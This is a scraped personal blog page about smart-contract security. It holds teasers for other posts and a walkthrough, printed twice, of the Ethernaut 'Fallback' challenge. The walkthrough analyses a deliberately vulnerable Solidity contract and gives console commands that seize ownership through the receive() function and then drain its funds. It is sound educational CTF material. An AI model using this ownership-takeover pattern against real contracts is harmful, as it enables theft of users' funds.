
OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance

OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance
Share Dialog
Share Dialog

Subscribe to 0xbanky

Subscribe to 0xbanky
<100 subscribers
<100 subscribers
Started here by reading the description and the things that might help. Next, I started to go through the contract to understand what was going on. First, I saw the use of using which I wasn't sure what it meant.
using SafeMath for uint256;
I found that the using directive is taking functionality from the SafeMath library and applying them to uint256. This is Solidity's way of extending functionality of built in expressions. Next, up
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
We have some state variables and initialization. Nothing very interesting happening with the state variables, but the constructor has something interesting happening. First, we set the owner of this contract to be the wallet that deployed it and then we set the contributions for the deploywer to be 1000 ether. This seems to be a contract where the owner can be switched if they contribute more than 1000 ether.
Next up, we have a modifier
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
In solidity, I've learnt that modifiers are functions that can be tied to other functions. The code in the modifier is called first before anything else in the function is called. In this contract, the onlyOwner modifier is used here
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
Putting it all together, the owner can transfer all ETH in the contract by calling withdraw to themselves. The modifier ensures that only the holder of the owners wallet can transfer the funds. The challenge in this problem is to claim ownership of the contract and reduce the balance to zero. Seems a good place to start would be to somehow trick the contract to assign the ownership to my own wallet. Before that, taking a look at the other functions in this contract
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
The contract allows users to contribute funds through its public API. The payable modifier here means that the contract instance can receive funds using this function. The contributions however must be less than 0.001 ether. If the users contributions becomes the most in the contract, then this user becomes the new owner. If I had enough ether, I could use this function by doing a lot of small transactions until contributing over 1000 ether, thus grabbing ownership for myself. However, since I don't have enough ether, I'll need to try a different approach.
The getContribution function simply just gets the contributions at the senders address. Finally, we have the receive function. This is interesting to me because this is the second access point where the owner can be changed in the contract. I didn't know what a receive function was, so after some googling, I found that it is is simply a function that gets called when a contract receives ether with no call data. Eg. If someone just sends ether to the address. I figured that I could just send some ether to this address and if I send more than 0 and my wallet has some contributions tied to it, I should become the owner. This wallet probably existed for the owner to send ether into the contract when it was initialized
res = await contract.contribute.sendTransaction({from: player, value: toWei("0.0001")})
contribution = (await contract.getContribution()).toString()
// "100000000000000" (wei)
fromWei(contribution.toString())
// "0.0001" (ether)
My wallet is now registered to have 0.0001 ether of contributions. Now I'll try to grab ownership of the contract. Since you can't call the receive function directly through the ABI, I tried sending Ether to the contract directly using metamask. I got the wallet address of the contract and the contract owner through the ABI
contract.address
// "0x19abb707Baa34a8E8BE7FC7420ACb537ae6327d4"
await contract.owner()
// "0x9CB391dbcD447E645D6Cb55dE6ca23164130D008"
Sure enough, after sending the ether, the contract owner has been updated to my wallet address
await contract.owner()
// "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252"
To finish of the challenge, I just need to withdraw all the funds which is as simple as calling withdraw.
I learnt how the using directive in solidity works and how it can be used to both modularize code and extend built in functionality
I learnt about fallback functions in solidity which are called when ether is sent to the contract with no other parameters. The fallback functions are receive for receiving ether and fallback which can be used to delegate calls to another contract
I learnt about OpenZeppelin's implementation of Ownable which can help to prevent this exploit
Started here by reading the description and the things that might help. Next, I started to go through the contract to understand what was going on. First, I saw the use of using which I wasn't sure what it meant.
using SafeMath for uint256;
I found that the using directive is taking functionality from the SafeMath library and applying them to uint256. This is Solidity's way of extending functionality of built in expressions. Next, up
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
We have some state variables and initialization. Nothing very interesting happening with the state variables, but the constructor has something interesting happening. First, we set the owner of this contract to be the wallet that deployed it and then we set the contributions for the deploywer to be 1000 ether. This seems to be a contract where the owner can be switched if they contribute more than 1000 ether.
Next up, we have a modifier
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
In solidity, I've learnt that modifiers are functions that can be tied to other functions. The code in the modifier is called first before anything else in the function is called. In this contract, the onlyOwner modifier is used here
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
Putting it all together, the owner can transfer all ETH in the contract by calling withdraw to themselves. The modifier ensures that only the holder of the owners wallet can transfer the funds. The challenge in this problem is to claim ownership of the contract and reduce the balance to zero. Seems a good place to start would be to somehow trick the contract to assign the ownership to my own wallet. Before that, taking a look at the other functions in this contract
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
The contract allows users to contribute funds through its public API. The payable modifier here means that the contract instance can receive funds using this function. The contributions however must be less than 0.001 ether. If the users contributions becomes the most in the contract, then this user becomes the new owner. If I had enough ether, I could use this function by doing a lot of small transactions until contributing over 1000 ether, thus grabbing ownership for myself. However, since I don't have enough ether, I'll need to try a different approach.
The getContribution function simply just gets the contributions at the senders address. Finally, we have the receive function. This is interesting to me because this is the second access point where the owner can be changed in the contract. I didn't know what a receive function was, so after some googling, I found that it is is simply a function that gets called when a contract receives ether with no call data. Eg. If someone just sends ether to the address. I figured that I could just send some ether to this address and if I send more than 0 and my wallet has some contributions tied to it, I should become the owner. This wallet probably existed for the owner to send ether into the contract when it was initialized
res = await contract.contribute.sendTransaction({from: player, value: toWei("0.0001")})
contribution = (await contract.getContribution()).toString()
// "100000000000000" (wei)
fromWei(contribution.toString())
// "0.0001" (ether)
My wallet is now registered to have 0.0001 ether of contributions. Now I'll try to grab ownership of the contract. Since you can't call the receive function directly through the ABI, I tried sending Ether to the contract directly using metamask. I got the wallet address of the contract and the contract owner through the ABI
contract.address
// "0x19abb707Baa34a8E8BE7FC7420ACb537ae6327d4"
await contract.owner()
// "0x9CB391dbcD447E645D6Cb55dE6ca23164130D008"
Sure enough, after sending the ether, the contract owner has been updated to my wallet address
await contract.owner()
// "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252"
To finish of the challenge, I just need to withdraw all the funds which is as simple as calling withdraw.
I learnt how the using directive in solidity works and how it can be used to both modularize code and extend built in functionality
I learnt about fallback functions in solidity which are called when ether is sent to the contract with no other parameters. The fallback functions are receive for receiving ether and fallback which can be used to delegate calls to another contract
I learnt about OpenZeppelin's implementation of Ownable which can help to prevent this exploit
No activity yet